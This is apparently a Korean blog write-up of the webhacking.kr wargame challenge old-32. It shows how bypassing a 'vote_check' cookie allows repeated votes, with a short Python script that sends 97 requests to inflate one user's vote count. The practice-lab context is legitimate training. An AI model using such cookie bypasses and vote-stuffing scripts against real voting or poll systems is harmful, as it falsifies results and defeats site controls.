Web/Web Hacking (Wargame)

[webhacking.kr] old-32

728x90

✏️ Check


클릭하면 점수가 1 오르고, 투표는 한 번밖에 할 수 없다.

문제에 대한 별도의 description이 없어서 뭘 해야하는지 아직은 잘 모르겠지만, 일단 나를 최대한 높이 올리는 걸 시도해보려고 한다.

 

🔎 Analyze


클릭한 닉네임이 hit 변수의 값에 저장되어 전달되는 것을 확인할 수 있었다.

한 번 더 확인해보기 위해 클릭하지 않고 '?hit='를 이용했더니 동일하게 투표되는 것을 확인했다.

 

cookie

그리고 투표를 한 것은 cookie 값을 통해 체크하는 것을 확인할 수 있다.

vote_check의 값이 'ok'만 아니게 된다면 계속해서 투표를 할 수 있을 것이다.

EditThisCookie

EditThisCookie에서 vote_check에 대하여 특정 값('ok')를 차단할 수 있도록 규칙을 추가한다.

 

더보기
#!/usr/bin/python3
import requests
url = 'https://webhacking.kr/challenge/code-5/'

cookie = {
    'PHPSESSID':'1t08od0u5l4hrq33hqjk9j62av',
}

param={
    'hit': 'elasjay'
}

for _ in range(97):
    req = requests.get(url, params=param, cookies=cookie)

🔓 Exploit


희희

SMALL

'Web > Web Hacking (Wargame)' 카테고리의 다른 글

[webhacking.kr] old-33  (0) 2023.02.04
[Dreamhack] out of money  (0) 2023.02.04
[hackthissite/Javascript] Mission 1 ~ Mission 7  (1) 2023.01.30
[webhacking.kr] old-17  (0) 2023.01.29
[webhacking.kr] old-16  (0) 2023.01.29